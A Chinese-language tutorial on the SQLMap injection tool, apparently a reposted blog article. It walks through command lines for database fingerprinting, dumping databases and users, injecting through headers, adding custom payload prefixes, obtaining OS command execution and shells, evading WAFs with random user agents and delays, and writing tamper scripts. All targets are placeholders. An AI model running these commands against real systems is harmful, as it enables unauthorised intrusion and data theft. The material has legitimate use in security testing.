赞
踩
SQLMap
,是一款很老的自动注入工具
了,最早我记得可能当时还流行着Pangolin(穿山甲)
和Havij(由于图标问题我们叫它萝卜)
。
实际上SQLMap
,帮我们解决的就是对目标
的大量自动注入测试
。
目前来说,如今的ORM框架99%使用prepare预处理
参数进行参数绑定
,能注入的我估计只有新手
能写得出来,或者是框架内对ORM
进行封装
的时候拼接有漏洞
才会出现注入漏洞
。
我也是从网络安全
转到开发
的,实际上我最开始学习各种编程语言和框架目的是为了渗透,然而现在感觉像是跑偏了。
SQLMap
支持直接连接数据库
文件类型数据库
如:SQLite
,Access
,Firebird
等。关系型数据库
如:SQL Server
,MySQL
,Oracle
,PostgreSQL
等# 命令算是一种规范吧,-后面跟缩写 --后面跟全名,有些命令是因为缩写冲突,所以有些不支持写全只支持缩写,要么根据大小写区分。
# -d 表示DIRECT 直连
# -f 全命令是--fingerprint 指纹判别数据库类型 会在回显中显示 比如 MySQL
# --banner 获取数据库标识,有些扫描软件将banner代替title之类的,意会一下,这里banner是获取MySQL版本号
# --dbs 获取所有数据库
# --users 获取所有用户名
sqlmap.py -d "mysql://root:root@1270.0.0.1:3307/dbname" -f --banner --dbs --users
SQLMap
还支持从文件读取目标
,然后进行注入测试。
-l
从Burp Proxy
或WebScarab Proxy
中读取Request日志
。-x
从sitemap.xml
站点地图读取目标。-m
从多行文本格式批量读取目标。-r
从文本文件中读取Reuqest
内容。-c
从配置文件sqlmap.conf
读取目标。# 针对burp记录的请求日志进行测试
sqlmap.py -l ~/burplog/test
只需要使用-u
就可以对目标url
进行测试
,它会尝试各种注入方式
,比如时间盲注
,报错注入
,XSS跨站脚本
等。
设置代理到Burp Suite
可以用作如果目标有CSRF_TOKEN
这种东西,可以配合Burp
进行自动填充
。
# -u 拼写全是--url
sqlmap.py -u "http://www.test.com/test.php?id=1" --banner
# 由于使用--data提交数据,请求方式会隐式被转换为post请求
sqlmap.py -u "http://www.test.com/test.php?id=1" --data="cid=1&id=2" -f --banner --dbs --users
--param-del="&"
这是默认的参数分隔符,不建议使用此项专门去改--method=PUT
请求方法可以设置GET POST PUT DELETE等--cookie=COOKIES
可以设置COOKIE,比如注入点需要登陆后才能访问会用到--user-agent=QQBrowser
可以设置UA头,有些检测会检测UA头是否是 urllib 库的默认UA头--random-agent
随机UA头--referer="http://www.baidu.com"
设置来源页,最早有些网站会检查referer是为了防御CSRF攻击--headers=HEADERS
可以添加额外的HTTP HEADER,必须使用\n
分割–-delay=1
延迟1秒--safe-url="http://www.baidu.com"
设置安全连接--safe-freq=SAFREQ
测试过程中,会对安全URL进行指定次数访问,目的是为了基于时间盲注可能会长时间因为服务器没有返回请求而断开连接。--proxy
设置代理 关于配合Burp:使用Burp Suite 绕过 CSRF_TOKEN--proxy-file
从文件读取多个代理自动设置--keep-alive
保持会话使用长链接--threads=1
默认使用1个线程,可以自己设置线程,如果你确定不会被WAF拉到黑名单,否则建议1个线程-D
指定数据库名--tables
枚举库中的所有表-T
指定表名--columns
枚举表内所有列--dump
dump数据--flush-session
刷新session就是不保存cookie--csrf-token="token"
指定input表单token的name用于自动获取token--csrf-url="http://www.test.com/token.php"
如果获取token的页面和攻击页面不在一个地址,那么可以指定这个url在有些情况下我们希望自定义
注入前缀
和后缀
。
比如http://www.test.com/test.php?id=1
我们想要拼接的是 ') and ('1'='1
sqlmap.py -u "http://www.test.com/test.php?id=1" --data="cid=1&id=2" --prefix="')" --suffix=" and ('1'='1" -f --banner --dbs --users
无论是从文件读取
还是单个url
测试,我们可以通过配置Level
来进行对一些奇怪的点进行注入
,比如X-Forwarded-For
,HTTP_CF_IPCOUNTRY
等等。
举个栗子:
GET /?id=1 HTTP/1.1
Host: www.test.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Hello *
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PSTM=1603864167;
注意UA头被我改成了*
,把它保存成test.txt
。
# User-Agent我们使用*符号占位
# 当level>=3时 此时会对*占位符的headers进行注入检测,level>=3时会对比如user-agent referer cookie等都可以进行注入检测
sqlmap.py -r /log/test.txt --random-agent --level 3 -f --banner --dbs --users
# 当 level=5时 还会对Host进行注入检测
sqlmap.py -r /log/test.txt --random-agent --level 5 -f --banner --dbs --users
--sql-shell
交互式SQL
的shell
,用来执行SQL
语句。--os-cmd="whoami"
执行whoami
命令--os-shell
返回系统交互shell
使用时可以通过--tamper
指定需要用的tamper
脚本,比如--tamper="unmagicquotes.py"
就是让他使用宽字节注入
的脚本。
编写tamper
脚本只要实现tamper(payload, **kwargs)
函数即可。
举个栗子:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST # 优先级设置
def dependencies(): # 当前脚本依赖,如果pass就是不检查
pass
def tamper(payload, **kwargs): # 将payload中所有的小写a替换成大写
return payload and payload.replace('a','A') or payload
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。